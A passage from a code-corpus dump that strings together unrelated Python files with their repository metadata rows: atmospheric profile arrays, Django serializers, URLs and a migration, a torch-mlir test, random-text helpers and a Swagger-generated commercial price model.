2.34526000e+01, 2.61829000e+01, 2.91210000e+01,
3.22744000e+01, 3.56505000e+01, 3.92566000e+01,
4.31001000e+01, 4.71882000e+01, 5.15278000e+01,
5.61260000e+01, 6.09895000e+01, 6.61253000e+01,
7.15398000e+01, 7.72396000e+01, 8.32310000e+01,
8.95204000e+01, 9.61138000e+01, 1.03017000e+02,
1.10237000e+02, 1.17778000e+02, 1.25646000e+02,
1.33846000e+02, 1.42385000e+02, 1.51266000e+02,
1.60496000e+02, 1.70078000e+02, 1.80018000e+02,
1.90320000e+02, 2.00989000e+02, 2.12028000e+02,
2.23442000e+02, 2.35234000e+02, 2.47408000e+02,
2.59969000e+02, 2.72919000e+02, 2.86262000e+02,
3.00000000e+02, 3.14137000e+02, 3.28675000e+02,
3.43618000e+02, 3.58966000e+02, 3.74724000e+02,
3.90893000e+02, 4.07474000e+02, 4.24470000e+02,
4.41882000e+02, 4.59712000e+02, 4.77961000e+02,
4.96630000e+02, 5.15720000e+02, 5.35232000e+02,
5.55167000e+02, 5.75525000e+02, 5.96306000e+02,
6.17511000e+02, 6.39140000e+02, 6.61192000e+02,
6.83667000e+02, 7.06565000e+02, 7.29886000e+02,
7.53628000e+02, 7.77790000e+02, 8.02371000e+02,
8.27371000e+02, 8.52788000e+02, 8.78620000e+02,
9.04866000e+02, 9.31524000e+02, 9.58591000e+02,
9.86067000e+02, 1.01395000e+03, 1.04223000e+03,
1.07092000e+03, 1.10000000e+03])
self["CO2"] = numpy.array([ 373.3942, 373.3941, 373.3938, 373.3935, 373.3921, 373.3918,
373.3946, 373.4036, 373.4146, 373.4426, 373.4896, 373.5487,
373.6167, 373.7457, 373.8797, 373.9647, 373.9937, 373.9477,
373.8447, 373.7057, 373.5698, 373.4619, 373.359 , 373.2451,
373.1282, 373.0064, 372.9185, 372.8307, 372.7759, 372.719 ,
372.6741, 372.6262, 372.6273, 372.6313, 372.6903, 372.7783,
372.8793, 373.0013, 373.1303, 373.2973, 373.4763, 373.7093,
374.0053, 374.3173, 374.6923, 375.0842, 375.5021, 375.9429,
376.3999, 376.8598, 377.3388, 377.8728, 378.4337, 378.9727,
379.4857, 379.9377, 380.1537, 380.3697, 380.4166, 380.4656,
380.4875, 380.5065, 380.5098, 380.5082, 380.497 , 380.4827,
380.4586, 380.4307, 380.3936, 380.3518, 380.3065, 380.2585,
380.2139, 380.1684, 380.1278, 380.0871, 380.0505, 380.0208,
379.9991, 379.9867, 379.9801, 379.9713, 379.9658, 379.9588,
379.9484, 379.939 , 379.9266, 379.9019, 379.8731, 379.8501,
379.9549, 379.9488, 379.9446, 379.9423, 379.943 , 379.9446,
379.9461, 379.9476, 379.9489, 379.9503, 379.9516])
self["CO"] = numpy.array([ 0.6800446 , 0.6740193 , 0.6620749 , 0.6419505 , 0.6117519 ,
0.5703516 , 0.3488468 , 0.0930345 , 0.08980432, 0.07642571,
0.05501905, 0.03542598, 0.02273726, 0.0167016 , 0.01458811,
0.01381391, 0.01293702, 0.01186053, 0.01089353, 0.01022694,
0.01013334, 0.01029874, 0.01054954, 0.01068985, 0.01095735,
0.01133045, 0.01198095, 0.01272726, 0.01303036, 0.01325816,
0.01226177, 0.01127788, 0.01024268, 0.00924114, 0.00879343,
0.0085742 , 0.00847924, 0.00867004, 0.00887618, 0.00923515,
0.009644 , 0.01013538, 0.01072998, 0.01139158, 0.01216398,
0.01302787, 0.01413626, 0.01550166, 0.01705575, 0.01879384,
0.02078993, 0.02289143, 0.02525062, 0.02788281, 0.0308218 ,
0.03392959, 0.03658498, 0.03948956, 0.04125235, 0.04315494,
0.04419713, 0.04516932, 0.04572824, 0.04618014, 0.04645236,
0.04665698, 0.04677772, 0.04686359, 0.04688663, 0.04688609,
0.04686017, 0.04682749, 0.04676122, 0.04669305, 0.04663384,
0.0465858 , 0.04655648, 0.0465376 , 0.04652345, 0.04650948,
0.04649977, 0.04649525, 0.04650932, 0.0465258 , 0.0465483 ,
0.04657384, 0.04658478, 0.04656421, 0.04653585, 0.04651032,
0.04650158, 0.04647112, 0.04638355, 0.0461135 , 0.04584094,
0.04556567, 0.04528799, 0.04500801, 0.04472571, 0.0444411 ,
0.04415449])
self["T"] = numpy.array([ 203.241, 210.063, 221.314, 233.602, 248.271, 261.577,
272.444, 278.371, 278.595, 275.594, 270.871, 263.75 ,
255.163, 246.655, 238.909, 231.799, 223.896, 217.482,
212.546, 208.833, 205.703, 202.946, 200.522, 198.582,
197.057, 195.619, 194.223, 193.349, 192.952, 192.888,
192.912, 192.728, 192.467, 192.507, 192.821, 193.133,
193.235, 193.199, 193.315, 193.791, 194.586, 195.302,
195.506, 195.217, 195.025, 195.515, 196.602, 197.901,
199.067, 199.978, 200.682, 201.276, 201.715, 201.971,
202.121, 202.333, 202.75 , 203.402, 204.24 , 205.206,
206.259, 207.357, 208.502, 209.714, 211.033, 212.487,
214.102, 215.888, 217.825, 219.839, 221.862, 223.857,
225.812, 227.74 , 229.66 , 231.591, 233.507, 235.332,
236.977, 238.377, 239.532, 240.469, 241.198, 241.739,
242.134, 242.467, 242.864, 243.459, 244.284, 244.883,
235.445, 235.445, 235.445, 235.445, 235.445, 235.445,
235.445, 235.445, 235.445, 235.445, 235.445])
self["N2O"] = numpy.array([ 0.00583999, 0.00408999, 0.00279999, 0.00175999, 0.0009 ,
0.00056 , 0.00063 , 0.00079999, 0.00124999, 0.00144999,
0.00156999, 0.00246999, 0.00394998, 0.00493997, 0.00592996,
0.00703996, 0.00885994, 0.01220992, 0.01505991, 0.01560991,
0.01611991, 0.01919989, 0.02343987, 0.02749986, 0.03770982,
0.04834979, 0.05858977, 0.07489974, 0.09278972, 0.1100597 ,
0.1265997 , 0.1419997 , 0.1569097 , 0.1713697 , 0.1990496 ,
0.2246096 , 0.2487395 , 0.2694695 , 0.2866995 , 0.3030394 ,
0.3120394 , 0.3152494 , 0.3152494 , 0.3152494 , 0.3152494 ,
0.3152493 , 0.3152492 , 0.3152491 , 0.3152491 , 0.315249 ,
0.315249 , 0.315249 , 0.315249 , 0.3152489 , 0.3152489 ,
0.3152489 , 0.3152489 , 0.3152489 , 0.3152488 , 0.3152488 ,
0.3152488 , 0.3152487 , 0.3152482 , 0.3152468 , 0.315245 ,
0.3152431 , 0.3152414 , 0.3152398 , 0.3152381 , 0.3152358 ,
0.315233 , 0.3152297 , 0.3152259 , 0.3152213 , 0.3152158 ,
0.3152094 , 0.3152032 , 0.3151992 , 0.3151995 , 0.3152058 ,
0.3152153 , 0.3152212 , 0.3152217 , 0.3152175 , 0.315208 ,
0.3151927 , 0.31517 , 0.3151404 , 0.3151115 , 0.3151024 ,
0.3151977 , 0.3151993 , 0.3152007 , 0.3152022 , 0.3152035 ,
0.3152049 , 0.3152061 , 0.3152073 , 0.3152085 , 0.3152096 ,
0.3152107 ])
self["O3"] = numpy.array([ 0.2179525 , 0.4427619 , 0.8307214 , 1.071126 , 1.107014 ,
1.216323 , 1.368551 , 1.55042 , 1.820048 , 2.190766 ,
2.597004 , 3.080251 , 3.613488 , 4.076185 , 4.354673 ,
4.374823 , 4.346653 , 4.222944 , 4.203744 , 4.306514 ,
4.427884 , 4.416705 , 3.941799 , 3.148064 , 2.18333 ,
1.231965 , 0.8361127 , 0.6320258 , 0.5055445 , 0.4207969 ,
0.3808471 , 0.3781902 , 0.4033912 , 0.4428782 , 0.5194611 ,
0.6209939 , 0.7014897 , 0.7363626 , 0.7527296 , 0.7644786 ,
0.7908336 , 0.8463225 , 0.8622094 , 0.8290295 , 0.8426624 ,
0.9682409 , 1.023447 , 1.010207 , 0.9170352 , 0.8022415 ,
0.6979588 , 0.603872 , 0.5141203 , 0.4301826 , 0.3550448 ,
0.288998 , 0.2315552 , 0.1832504 , 0.1449635 , 0.1162426 ,
0.09470863, 0.07739049, 0.06345754, 0.05288787, 0.04548268,
0.04070251, 0.03783687, 0.03619263, 0.03520797, 0.03466834,
0.03440574, 0.0342611 , 0.03404529, 0.03356474, 0.03271215,
0.03201058, 0.03181097, 0.03218072, 0.03339005, 0.03605744,
0.04019977, 0.04384289, 0.04488666, 0.04469889, 0.04549454,
0.0456743 , 0.04436904, 0.0434255 , 0.04298391, 0.04331422,
0.03472694, 0.03472711, 0.03472727, 0.03472743, 0.03472758,
0.03472773, 0.03472786, 0.034728 , 0.03472813, 0.03472825,
0.03472837])
self["CH4"] = numpy.array([ 0.3025104 , 0.2017365 , 0.1268286 , 0.09570632, 0.207944 ,
0.2542325 , 0.2679163 , 0.2839972 , 0.311439 , 0.3420878 ,
0.3823386 , 0.4305423 , 0.483456 , 0.5286897 , 0.5675275 ,
0.5945863 , 0.6171152 , 0.6321481 , 0.64319 , 0.6320972 ,
0.6215293 , 0.6218035 , 0.6272516 , 0.6324708 , 0.6670328 ,
0.7040839 , 0.7397381 , 0.8120262 , 0.8943883 , 0.9500525 ,
1.009798 , 1.073758 , 1.142078 , 1.196758 , 1.249428 ,
1.299148 , 1.344888 , 1.385477 , 1.407137 , 1.429967 ,
1.454007 , 1.479277 , 1.505797 , 1.544097 , 1.579537 ,
1.616597 , 1.646126 , 1.670465 , 1.692875 , 1.702655 ,
1.712824 , 1.716834 , 1.719454 , 1.721334 , 1.722394 ,
1.723464 , 1.724494 , 1.725554 , 1.725644 , 1.725753 ,
1.725553 , 1.725293 , 1.72479 , 1.724173 , 1.723753 ,
1.723452 , 1.723333 , 1.723354 , 1.723415 , 1.723502 ,
1.723607 , 1.723709 , 1.723718 , 1.723693 , 1.723523 ,
1.723298 , 1.722944 , 1.722572 , 1.722194 , 1.721858 ,
1.72152 , 1.721163 , 1.720755 , 1.720323 , 1.719891 ,
1.719478 , 1.719064 , 1.718602 , 1.718255 , 1.718115 ,
1.718565 , 1.718523 , 1.718491 , 1.718469 , 1.718467 ,
1.718464 , 1.718471 , 1.718477 , 1.718484 , 1.71849 ,
1.718496 ])
self["CTP"] = 500.0
self["CFRACTION"] = 0.0
self["IDG"] = 0
self["ISH"] = 0
self["ELEVATION"] = 0.0
self["S2M"]["T"] = 235.445
self["S2M"]["Q"] = 124.79842341
self["S2M"]["O"] = 0.0347283654138
self["S2M"]["P"] = 813.02338
self["S2M"]["U"] = 0.0
self["S2M"]["V"] = 0.0
self["S2M"]["WFETC"] = 100000.0
self["SKIN"]["SURFTYPE"] = 0
self["SKIN"]["WATERTYPE"] = 1
self["SKIN"]["T"] = 235.445
self["SKIN"]["SALINITY"] = 35.0
self["SKIN"]["FOAM_FRACTION"] = 0.0
self["SKIN"]["FASTEM"] = numpy.array([ 3. , 5. , 15. , 0.1, 0.3])
self["ZENANGLE"] = 0.0
self["AZANGLE"] = 0.0
self["SUNZENANGLE"] = 0.0
self["SUNAZANGLE"] = 0.0
self["LATITUDE"] = -66.896
self["GAS_UNITS"] = 2
self["BE"] = 0.0
self["COSBK"] = 0.0
self["DATE"] = numpy.array([2006, 9, 1])
self["TIME"] = numpy.array([0, 0, 0])
| 58.666667 | 92 | 0.556196 | 1,907 | 12,848 | 3.745674 | 0.490823 | 0.0119 | 0.00924 | 0.0168 | 0.034439 | 0.031079 | 0.02352 | 0.01498 | 0.01498 | 0.00924 | 0 | 0.705192 | 0.283468 | 12,848 | 218 | 93 | 58.93578 | 0.070715 | 0.007394 | 0 | 0 | 0 | 0 | 0.019549 | 0.002748 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
ddcf714f0bc90e19fd142dc277e22cf92a78db5f | 157 | py | Python | Server/Result/Protocol.py | czyszczonik/Multi-Party-Computation | 035437e0f592662e392ea4b7496bb2ed23723596 | [
"MIT"
] | null | null | null | Server/Result/Protocol.py | czyszczonik/Multi-Party-Computation | 035437e0f592662e392ea4b7496bb2ed23723596 | [
"MIT"
] | 2 | 2022-02-13T19:41:28.000Z | 2022-02-27T09:51:40.000Z | Server/Result/Protocol.py | czyszczonik/Multi-Party-Computation | 035437e0f592662e392ea4b7496bb2ed23723596 | [
"MIT"
] | null | null | null | class Protocol:
def __init__(self, data):
self.iniciator = data.get('iniciator', {})
self.responder = data.get('responder', {})
| 26.166667 | 50 | 0.573248 | 16 | 157 | 5.375 | 0.5625 | 0.162791 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.267516 | 157 | 5 | 51 | 31.4 | 0.747826 | 0 | 0 | 0 | 0 | 0 | 0.11465 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
fb007c1cffbec3e30a6cd0501e60770ef6fd2753 | 103 | py | Python | webapp/config.py | shovradas/proxy-fellow | fdecc5d408496ba31aef70da4d17ee5869ed7dc5 | [
"MIT"
] | 1 | 2020-07-31T21:47:47.000Z | 2020-07-31T21:47:47.000Z | webapp/config.py | shovradas/proxy-fellow | fdecc5d408496ba31aef70da4d17ee5869ed7dc5 | [
"MIT"
] | 13 | 2020-05-28T00:57:27.000Z | 2020-05-28T14:58:25.000Z | webapp/config.py | shovradas/proxy-ally | fdecc5d408496ba31aef70da4d17ee5869ed7dc5 | [
"MIT"
] | null | null | null | from os import environ
DEBUG = True
API_ROOT = environ.get('API_ROOT', 'http://localhost:5001/api/v1') | 25.75 | 66 | 0.737864 | 17 | 103 | 4.352941 | 0.764706 | 0.189189 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.054348 | 0.106796 | 103 | 4 | 66 | 25.75 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0.346154 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
fb3bcdd3309e2b5d470dc11ab3e3253118c14a1c | 909 | py | Python | sky/serializers.py | eethan1/IMnight2018_Backend | 39780f737e57763fdfb171c4687a375d3c5a4bb0 | [
"Apache-2.0"
] | null | null | null | sky/serializers.py | eethan1/IMnight2018_Backend | 39780f737e57763fdfb171c4687a375d3c5a4bb0 | [
"Apache-2.0"
] | null | null | null | sky/serializers.py | eethan1/IMnight2018_Backend | 39780f737e57763fdfb171c4687a375d3c5a4bb0 | [
"Apache-2.0"
] | 4 | 2018-01-27T06:01:41.000Z | 2018-02-21T12:18:35.000Z | from rest_framework import serializers
from sky.models import Article, News, Course
from lottery.serializers import SingleTaskSerializer
class CourseListSerializer(serializers.ModelSerializer):
class Meta:
model = Course
fields = ('id', 'name', 'teacher', 'label', 'img')
class CourseSerializer(serializers.ModelSerializer):
task = SingleTaskSerializer(required=True)
class Meta:
model = Course
fields = '__all__'
class ArticleListSerializer(serializers.ModelSerializer):
class Meta:
model = Article
fields = ('id', 'title', 'label', 'img')
class ArticleSerializer(serializers.ModelSerializer):
task = SingleTaskSerializer(required=True)
class Meta:
model = Article
fields = '__all__'
class NewsSerializer(serializers.ModelSerializer):
class Meta:
model = News
fields = '__all__'
| 19.340426 | 58 | 0.683168 | 82 | 909 | 7.414634 | 0.390244 | 0.213816 | 0.115132 | 0.172697 | 0.529605 | 0.25 | 0.25 | 0.25 | 0.25 | 0 | 0 | 0 | 0.226623 | 909 | 46 | 59 | 19.76087 | 0.864865 | 0 | 0 | 0.56 | 0 | 0 | 0.062706 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.12 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
34928481a6cfd0b025ee50f6fed754efcb23b1c4 | 126 | py | Python | ProjectSection/urls.py | PuzzleBot/Portfolio-Website | a958180f711b0cb0d9a1ed8e7e2d8bbec54e4b5a | [
"MIT"
] | null | null | null | ProjectSection/urls.py | PuzzleBot/Portfolio-Website | a958180f711b0cb0d9a1ed8e7e2d8bbec54e4b5a | [
"MIT"
] | null | null | null | ProjectSection/urls.py | PuzzleBot/Portfolio-Website | a958180f711b0cb0d9a1ed8e7e2d8bbec54e4b5a | [
"MIT"
] | null | null | null | from django.conf.urls import url
from . import views
urlpatterns = [
url(r'^$', views.projectPage, name='projectPage')
]
| 18 | 53 | 0.698413 | 16 | 126 | 5.5 | 0.6875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15873 | 126 | 6 | 54 | 21 | 0.830189 | 0 | 0 | 0 | 0 | 0 | 0.103175 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
3495964c52b74ebd044d75ae61be24f02381d200 | 1,069 | py | Python | good_spot/places/migrations/0061_auto_20180330_0657.py | jasmine92122/NightClubBackend | 7f59129b78baaba0e0c25de2b493033b858f1b00 | [
"MIT"
] | null | null | null | good_spot/places/migrations/0061_auto_20180330_0657.py | jasmine92122/NightClubBackend | 7f59129b78baaba0e0c25de2b493033b858f1b00 | [
"MIT"
] | 5 | 2020-02-12T03:13:11.000Z | 2022-01-13T01:41:14.000Z | good_spot/places/migrations/0061_auto_20180330_0657.py | jasmine92122/NightClubBackend | 7f59129b78baaba0e0c25de2b493033b858f1b00 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.11.7 on 2018-03-30 06:57
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('places', '0060_auto_20180313_0938'),
]
operations = [
migrations.AddField(
model_name='placetype',
name='name_en',
field=models.CharField(max_length=20, null=True, verbose_name='Place type'),
),
migrations.AddField(
model_name='placetype',
name='name_fr',
field=models.CharField(max_length=20, null=True, verbose_name='Place type'),
),
migrations.AddField(
model_name='placetype',
name='name_ru',
field=models.CharField(max_length=20, null=True, verbose_name='Place type'),
),
migrations.AddField(
model_name='placetype',
name='name_uk',
field=models.CharField(max_length=20, null=True, verbose_name='Place type'),
),
]
| 29.694444 | 88 | 0.594013 | 117 | 1,069 | 5.222222 | 0.42735 | 0.11784 | 0.150573 | 0.176759 | 0.674304 | 0.674304 | 0.674304 | 0.602291 | 0.602291 | 0.602291 | 0 | 0.053525 | 0.283442 | 1,069 | 35 | 89 | 30.542857 | 0.744125 | 0.063611 | 0 | 0.571429 | 1 | 0 | 0.133267 | 0.023046 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.071429 | 0 | 0.178571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
34959dfaa45469b9f195e38170ac3883de2bfd13 | 808 | py | Python | frontends/pytorch/e2e_testing/torchscript/list_programs.py | raikonenfnu/mlir-npcomp | 29e1b2fe89848d58c9bc07e7df7ce651850a5244 | [
"Apache-2.0"
] | null | null | null | frontends/pytorch/e2e_testing/torchscript/list_programs.py | raikonenfnu/mlir-npcomp | 29e1b2fe89848d58c9bc07e7df7ce651850a5244 | [
"Apache-2.0"
] | null | null | null | frontends/pytorch/e2e_testing/torchscript/list_programs.py | raikonenfnu/mlir-npcomp | 29e1b2fe89848d58c9bc07e7df7ce651850a5244 | [
"Apache-2.0"
] | null | null | null | # Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
# See https://llvm.org/LICENSE.txt for license information.
# SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
import torch
from torch_mlir_torchscript.e2e_test.framework import TestUtils
from torch_mlir_torchscript.e2e_test.registry import register_test_case
from torch_mlir_torchscript.annotations import annotate_args, export
# ==============================================================================
class ListLiteralModule(torch.nn.Module):
def __init__(self):
super().__init__()
@export
def forward(self, x: float):
return [x, x]
@register_test_case(module_factory=lambda: ListLiteralModule())
def ListLiteralModule_basic(module, tu: TestUtils):
module.forward(3.0)
| 31.076923 | 80 | 0.694307 | 99 | 808 | 5.434343 | 0.555556 | 0.050186 | 0.072491 | 0.133829 | 0.115242 | 0.115242 | 0 | 0 | 0 | 0 | 0 | 0.01138 | 0.129951 | 808 | 25 | 81 | 32.32 | 0.753912 | 0.336634 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.230769 | false | 0 | 0.307692 | 0.076923 | 0.692308 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
34b211644f483ddf0ed6ea31869e4766597da721 | 844 | py | Python | sample_data_utils/text.py | movermeyer/sample-data-utils | 769f1b46e60def2675a14bd5872047af6d1ea398 | [
"BSD-3-Clause"
] | null | null | null | sample_data_utils/text.py | movermeyer/sample-data-utils | 769f1b46e60def2675a14bd5872047af6d1ea398 | [
"BSD-3-Clause"
] | null | null | null | sample_data_utils/text.py | movermeyer/sample-data-utils | 769f1b46e60def2675a14bd5872047af6d1ea398 | [
"BSD-3-Clause"
] | 1 | 2018-03-04T21:50:08.000Z | 2018-03-04T21:50:08.000Z | # -*- coding: utf-8 -*-
import string
from random import choice, randint
def text(length, choices=string.ascii_letters):
""" returns a random (fixed length) string
:param length: string length
:param choices: string containing all the chars can be used to build the string
.. seealso::
:py:func:`rtext`
"""
return ''.join(choice(choices) for x in range(length))
def rtext(maxlength, minlength=1, choices=string.ascii_letters):
""" returns a random (variable length) string.
:param maxlength: maximum string length
:param minlength: minimum string length
:param choices: string containing all the chars can be used to build the string
.. seealso::
:py:func:`text`
"""
return ''.join(choice(choices) for x in range(randint(minlength, maxlength)))
| 28.133333 | 87 | 0.662322 | 108 | 844 | 5.157407 | 0.407407 | 0.093357 | 0.091562 | 0.089767 | 0.581688 | 0.581688 | 0.581688 | 0.441652 | 0.319569 | 0.319569 | 0 | 0.003082 | 0.231043 | 844 | 29 | 88 | 29.103448 | 0.855162 | 0.523697 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
34d880e35352ece9ab51d8991c620a225902f140 | 11,488 | py | Python | src/domainClient/models/domain_listing_admin_service_v1_model_commercial_price.py | diabolical-ninja/smart-property-search | 0931c7c8195ec21cbd56768c9c84cea2927a9e1d | [
"MIT"
] | 5 | 2021-04-12T04:10:42.000Z | 2021-04-28T05:54:22.000Z | src/domainClient/models/domain_listing_admin_service_v1_model_commercial_price.py | diabolical-ninja/smart-property-search | 0931c7c8195ec21cbd56768c9c84cea2927a9e1d | [
"MIT"
] | 35 | 2020-05-26T14:21:37.000Z | 2022-03-29T16:14:42.000Z | src/domainClient/models/domain_listing_admin_service_v1_model_commercial_price.py | diabolical-ninja/smart-property-search | 0931c7c8195ec21cbd56768c9c84cea2927a9e1d | [
"MIT"
] | 2 | 2020-05-26T14:02:12.000Z | 2022-01-10T08:19:49.000Z | # coding: utf-8
"""
Domain Group API V1
Provides public access to Domain's microservices # noqa: E501
OpenAPI spec version: v1
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class DomainListingAdminServiceV1ModelCommercialPrice(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'price_unit_type': 'str',
'price_type': 'str',
'gst_option_type': 'str',
'price_reduction': 'bool',
'display_text': 'str',
'_from': 'int',
'to': 'int'
}
attribute_map = {
'price_unit_type': 'priceUnitType',
'price_type': 'priceType',
'gst_option_type': 'gstOptionType',
'price_reduction': 'priceReduction',
'display_text': 'displayText',
'_from': 'from',
'to': 'to'
}
def __init__(self, price_unit_type=None, price_type=None, gst_option_type=None, price_reduction=None, display_text=None, _from=None, to=None): # noqa: E501
"""DomainListingAdminServiceV1ModelCommercialPrice - a model defined in Swagger""" # noqa: E501
self._price_unit_type = None
self._price_type = None
self._gst_option_type = None
self._price_reduction = None
self._display_text = None
self.__from = None
self._to = None
self.discriminator = None
if price_unit_type is not None:
self.price_unit_type = price_unit_type
if price_type is not None:
self.price_type = price_type
if gst_option_type is not None:
self.gst_option_type = gst_option_type
if price_reduction is not None:
self.price_reduction = price_reduction
if display_text is not None:
self.display_text = display_text
if _from is not None:
self._from = _from
if to is not None:
self.to = to
@property
def price_unit_type(self):
"""Gets the price_unit_type of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
Price Unit type. Can have the values \\\"TotalAmount\\\", \\\"PerSqm\\\". Default = \\\"TotalAmount\\\" # noqa: E501
:return: The price_unit_type of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
:rtype: str
"""
return self._price_unit_type
@price_unit_type.setter
def price_unit_type(self, price_unit_type):
"""Sets the price_unit_type of this DomainListingAdminServiceV1ModelCommercialPrice.
Price Unit type. Can have the values \\\"TotalAmount\\\", \\\"PerSqm\\\". Default = \\\"TotalAmount\\\" # noqa: E501
:param price_unit_type: The price_unit_type of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
:type: str
"""
allowed_values = ["totalAmount", "perSqm"] # noqa: E501
if price_unit_type not in allowed_values:
raise ValueError(
"Invalid value for `price_unit_type` ({0}), must be one of {1}" # noqa: E501
.format(price_unit_type, allowed_values)
)
self._price_unit_type = price_unit_type
@property
def price_type(self):
"""Gets the price_type of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
Type can have the values \\\"Gross\\\", \\\"Net\\\". Default \\\"Net\\\" # noqa: E501
:return: The price_type of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
:rtype: str
"""
return self._price_type
@price_type.setter
def price_type(self, price_type):
"""Sets the price_type of this DomainListingAdminServiceV1ModelCommercialPrice.
Type can have the values \\\"Gross\\\", \\\"Net\\\". Default \\\"Net\\\" # noqa: E501
:param price_type: The price_type of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
:type: str
"""
allowed_values = ["gross", "net"] # noqa: E501
if price_type not in allowed_values:
raise ValueError(
"Invalid value for `price_type` ({0}), must be one of {1}" # noqa: E501
.format(price_type, allowed_values)
)
self._price_type = price_type
@property
def gst_option_type(self):
"""Gets the gst_option_type of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
GST Option Type. Can have the values \\\"NA\\\", \\\"Inc\\\", \\\"Ex\\\". Default = \\\"NA\\\" # noqa: E501
:return: The gst_option_type of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
:rtype: str
"""
return self._gst_option_type
@gst_option_type.setter
def gst_option_type(self, gst_option_type):
"""Sets the gst_option_type of this DomainListingAdminServiceV1ModelCommercialPrice.
GST Option Type. Can have the values \\\"NA\\\", \\\"Inc\\\", \\\"Ex\\\". Default = \\\"NA\\\" # noqa: E501
:param gst_option_type: The gst_option_type of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
:type: str
"""
allowed_values = ["na", "inc", "ex"] # noqa: E501
if gst_option_type not in allowed_values:
raise ValueError(
"Invalid value for `gst_option_type` ({0}), must be one of {1}" # noqa: E501
.format(gst_option_type, allowed_values)
)
self._gst_option_type = gst_option_type
@property
def price_reduction(self):
"""Gets the price_reduction of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
Indicates if this property is under price reduction # noqa: E501
:return: The price_reduction of this DomainListingAdminServiceV1ModelCommercialPrice. # noqa: E501
:rtype: bool
"""
return self._price_reduction
@price_reduction.setter
def price_reduction(self, price_reduction):
"""Sets the price_reduction of this DomainListingAdminServiceV1ModelCommercialPrice.
Indicates if this property is under price reduction # noqa: E501
